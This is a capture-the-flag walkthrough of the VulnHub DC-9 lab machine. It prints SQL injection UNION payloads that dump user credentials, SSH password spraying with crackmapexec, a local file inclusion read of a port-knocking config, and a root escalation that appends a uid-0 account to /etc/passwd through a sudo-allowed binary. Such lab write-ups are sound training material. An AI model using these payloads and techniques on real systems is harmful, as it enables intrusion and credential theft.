DC-9 from VulnHub features a website that is vulnerable to SQL injection.
I’m able to dump a bunch of users’ credentials by exploiting SQLi and gain a foothold on the system after spraying them on SSH. One of the users has a sudo privileges on a custom binary which allows me to perform an arbitrary file write with root access.
Actually, there is a port knocking rule in this machine to open the SSH port, but when I first solved this machine, my full nmap
scan broke that rule. Even though I gained a foothold by skipping the LFI and port knocking, I’ll still include the intended way (LFI and port knocking) in the foothold section.
Skills Learned
- Blind SQL injection
- Local file Inclusion
- Port knocking
Tools
- Nmap
- Arpscan
- CrackMapExec
Reconnaissance
Host Discovery - arp-scan
192.168.2.102
is the target.
→ root@iamf «dc-9» «192.168.2.103»
$ arp-scan --interface eth0 192.168.2.0/24 | tee scans/00-arp-scan
Interface: eth0, type: EN10MB, MAC: 08:00:27:0b:94:f0, IPv4: 192.168.2.103
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.2 0a:00:27:00:00:0a (Unknown: locally administered)
192.168.2.1 08:00:27:d9:63:87 PCS Systemtechnik GmbH
192.168.2.102 08:00:27:54:bc:fd PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.986 seconds (128.90 hosts/sec). 3 responded
Port Scan - nmap
nmap
shows two ports available, 80 (HTTP) and 22 (SSH). SSH port is in filtered state.
→ root@iamf «dc-9» «192.168.2.103»
$ nmap -n -sC -sV -oA scans/10-initial-dc9 '192.168.2.102' -v
# Nmap 7.80 scan initiated Thu Apr 8 02:43:51 2021 as: nmap -n -sC -sV -oA scans/10-initial-dc9 -v 192.168.2.102
Nmap scan report for 192.168.2.102
Host is up (0.00048s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 08:00:27:54:BC:FD (Oracle VirtualBox virtual NIC)
But, later it turns into open state after a full port scan performed.
→ root@iamf «dc-9» «192.168.2.103»
$ nmap -n -p22 192.168.2.102
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-08 05:21 EDT
Nmap scan report for 192.168.2.102
Host is up (0.00075s latency).
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:54:BC:FD (Oracle VirtualBox virtual NIC)
I can confirms it with netcat
.
→ root@iamf «dc-9» «192.168.2.103»
$ nc 192.168.2.102 22
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u1
Enumeration
TCP 80 - Website
The home page of this site doesn’t provide anything useful.
![image-20210408134805695](imgs/image-20210408134805695.png)
The Display All Records menu functions to display all user records.
![image-20210408134819215](imgs/image-20210408134819215.png)
There is a user input on the Search menu
![image-20210408134833069](imgs/image-20210408134833069.png)
The Manage menu has login function.
![image-20210408134853665](imgs/image-20210408134853665.png)
From here I can assume that the website uses database.
Foothold
SQL injection
Identify
There’s error-based SQL injection on search.php
, and the initial detection is simple, when I try put '
it gives bug (joke reference).
In this web, the SQLi vulnerability can be identified by adding a single quote (’`) at the end of users’ first name that I want to search.
![image-20210602031408130](imgs/image-20210602031408130.png)
Based on the search page, you can only input one name (either the first or the last name) and it will return a single record, so without '
, the search should return one related result.
![image-20210602031344011](imgs/image-20210602031344011.png)
But then, when I submit ' OR 1=1 -- -'
, it returns all the records.
![image-20210602030509083](imgs/image-20210602030509083.png)
UNION injection
To perform the SQL union injection attack manually, I’ll have to identify the available columns and its data type.
There are 6 columns with the data type of each column is string. The injection query is as follows:
' UNION SELECT 'a','b','c','d','e','f' --
![image-20210602033329668](imgs/image-20210602033329668.png)
I’ll pull out database version, current database, and the available databases.
' UNION SELECT @@version, 'Current DB:', database(), group_concat(SCHEMA_NAME),5,6 FROM information_schema.schemata -- -
![image-20210602033848222](imgs/image-20210602033848222.png)
The website uses MariaDB as its database. The database currently in use is Staff
. Staff
and users
are non-default database, so I’ll look into these tables.
With the following query, I can get the two tables name from database Staff
: StaffDetails
and Users
.
'UNION SELECT table_name,2,3,4,5,6 FROM information_schema.tables where table_schema = 'Staff' -- -
![image-20210602034617576](imgs/image-20210602034617576.png)
StaffDetails
contains the all the staff records which previously seen at the Display All Records menu.
I’ll get the columns name of the table Users
with the following query:
'UNION SELECT group_concat(column_name), 2,3,4,5,6 from information_schema.columns where table_name = 'Users' -- -
![image-20210602035249528](imgs/image-20210602035249528.png)
I will get the contents of the Username and the Password columns, and it returns a set of credentials.
' UNION SELECT group_concat(username, ':', password),2,3,4,5,6 FROM Users -- -
![image-20210602040550090](imgs/image-20210602040550090.png)
The password is in md5 format.
→ root@iamf «dc-9» «192.168.2.103»
$ echo 856f5de590ef37314e7c3bdf6f8a66dc | wc -c
33
The hash can be cracked online. The credentials is admin:transorbital1
, and I’ll just keep that for now.
![image-20210602044447046](imgs/image-20210602044447046.png)
On database users
, there is only one table called UserDetails
. Here is the query.
'UNION SELECT group_concat(table_name),2,3,4,5,6 FROM information_schema.tables where table_schema = 'users' -- -
![image-20210602041638341](imgs/image-20210602041638341.png)
With the following query, I can get the columns on table UserDetails
.
' UNION SELECT group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name = 'UserDetails' -- -
![image-20210602041745247](imgs/image-20210602041745247.png)
UserDetails
has 6 columns, but I’m interested only with the username
and the password
column, and I’ll pull out the their contents.
' UNION SELECT group_concat(username,":",password),2,3,4,5,6 FROM users.UserDetails -- -
![image-20210602041822329](imgs/image-20210602041822329.png)
That’s a lot of credentials. I can sort these creds with sed
command by substituting comma with new line.
→ root@iamf «dc-9» «192.168.2.103»
$ echo -n 'marym:3kfs86sfd,julied:468sfdfsd2,fredf:4sfd87sfd1,barneyr:RocksOff,tomc:TC&TheBoyz,jerrym:B8m#48sd,wilmaf:Pebbles,bettyr:BamBam01,chandlerb:UrAG0D!,joeyt:Passw0rd,rachelg:yN72#dsd,rossg:ILoveRachel,monicag:3248dsds7s,phoebeb:smellycats,scoots:YR3BVxxxw87,janitor:Ilovepeepee,janitor2:Hawaii-Five-0' | sed -s 's/,/\n/g'
marym:3kfs86sfd
julied:468sfdfsd2
fredf:4sfd87sfd1
barneyr:RocksOff
tomc:TC&TheBoyz
jerrym:B8m#48sd
wilmaf:Pebbles
bettyr:BamBam01
chandlerb:UrAG0D!
joeyt:Passw0rd
rachelg:yN72#dsd
rossg:ILoveRachel
monicag:3248dsds7s
phoebeb:smellycats
scoots:YR3BVxxxw87
janitor:Ilovepeepee
janitor2:Hawaii-Five-0
Shell access
SSH Login brute-force
Since the SSH port is open, I tried all the credentials I obtained from SQLi on SSH using crackmapexec
. It returned 3 valid logins.
→ root@iamf «dc-9» «192.168.2.103»
$ crackmapexec ssh 192.168.2.102 -u users -p passwords --no-bruteforce --continue-on-success
SSH 192.168.2.102 22 192.168.2.102 [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u1
...<SNIP>...
SSH 192.168.2.102 22 192.168.2.102 [+] chandlerb:UrAG0D!
SSH 192.168.2.102 22 192.168.2.102 [+] joeyt:Passw0rd
...<SNIP>...
SSH 192.168.2.102 22 192.168.2.102 [+] janitor:Ilovepeepee
...<SNIP>...
(Intended) LFI and Port Knocking
In my case, I discovered that the website is vulnerable to LFI after inspecting the source code.
chandlerb@dc-9:/var/www/html$ cat manage.php
<?php
$file = 'contact-info.php';
$show_errors = $_SESSION['display_errors'];
if ($show_errors == 'yes') {
if(file_exists($file)) {
include($file);
} else {
echo "File does not exist" . "<br />";
# LFI vulnerability starts from here
$file = $_GET['file'];
# No input sanitization poc: manage?file=../../../../etc/passwd
include('directory/' . $file);
}
...<SNIP>...
Using LFI is the intended way to gain a foothold before performing brute force. In order to exploit it, I previously had to login using the credentials I obtained through SQLi (admin:transorbital1
).
With LFI can include /etc/knockd.conf
to read the knocking sequence to open the SSH port.
![image-20210602050027114](imgs/image-20210602050027114.png)
In case the SSH port is closed, then to open it, I’ll need to interact with port 7469,8475,9842 sequentially.
for i in 7469 8475 9842; do nc -w1 192.168.2.102 $i; done;
![image-20210602051747909](imgs/image-20210602051747909.png)
To close the port, I’ll need to knock in reverse order:
for i in 9842 8475 7469; do nc -w1 192.168.2.102 $i; done;
![image-20210602052201358](imgs/image-20210602052201358.png)
Then, from here, I should use SSH brute force (which I did earlier).
Privilege Escalation
Shell as fredf
Enumeration
Only user janitor that has one valuable thing in its home dir, and that is a password list.
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
With those new password, I’ll perform another brute force using crackmapexec
.
SSH - fredf
crackmapexec
returns one valid login for fred:B4-Tru3-001
.
→ root@iamf «dc-9» «192.168.2.103»
$ crackmapexec ssh 192.168.2.102 -u users -p passwords --no-bruteforce --continue-on-success
SSH 192.168.2.102 22 192.168.2.102 [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u1
...
SSH 192.168.2.102 22 192.168.2.102 [+] fredf:B4-Tru3-001
...
→ root@iamf «dc-9» «192.168.2.103»
$ ssh fredf@192.168.2.102
fredf@192.168.2.102's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 8 20:10:42 2021 from 192.168.2.103
fredf@dc-9:~$ id
uid=1003(fredf) gid=1003(fredf) groups=1003(fredf)
Shell as root
Enumeration
User fredf has sudo privileges on a custom binary called test
fredf@dc-9:/home$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
I suspect /opt/devstuff/test.py
is the actual code of that binary.
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
Script Analysis
It checks if the arguments are equal to 3. If it doesn’t have 3 arguments, it exits.
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
Otherwise, it reads a file specified on argv1 in read mode and store its contents to the variable output
.
else :
f = open(sys.argv[1], "r")
output = (f.read())
Then it opens a file specified on argv2 in append mode and it adds the variable output
(the file contents of argv1) to that file.
f = open(sys.argv[2], "a")
f.write(output)
f.close()
Since this gives arbitrary write on the system, it can be exploited in many ways, one of which is to add a new root account to /etc/passwd
.
Exploitation
First, I’ll create a password hash using openssl
command.
fredf@dc-9:/tmp$ openssl passwd -1 -salt iamf pass123
$1$iamf$lq0NuDAhNy8IFlaFgiRw20
I’ll follow the flat database format of /etc/passwd
to create my own user. I’ll use the field property of root user, and substitute the password (x
field) and the username with the one I specified.
# From this
root:x:0:0:root:/root:/bin/bash
# To
iamf:$1$iamf$lq0NuDAhNy8IFlaFgiRw20:0:0:root:/root:/bin/bash
I’ll store that to a file called /tmp/passwd
.
And now I can just append the content of /tmp/passwd
to /etc/passwd
using /opt/devstuff/dist/test/test
.
fredf@dc-9:/tmp$ sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
I can confirms my account is there (/etc/passwd
).
fredf@dc-9:/tmp$ cat /etc/passwd
...
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
iamf:$1$iamf$lq0NuDAhNy8IFlaFgiRw20:0:0:root:/root:/bin/bash
SU - root
Now I can switch to my account and get a root shell.
fredf@dc-9:/tmp$ su iamf
Password: pass123
root@dc-9:/tmp#
And here is the flag,
root@dc-9:~# cat theflag.txt
███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝
Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.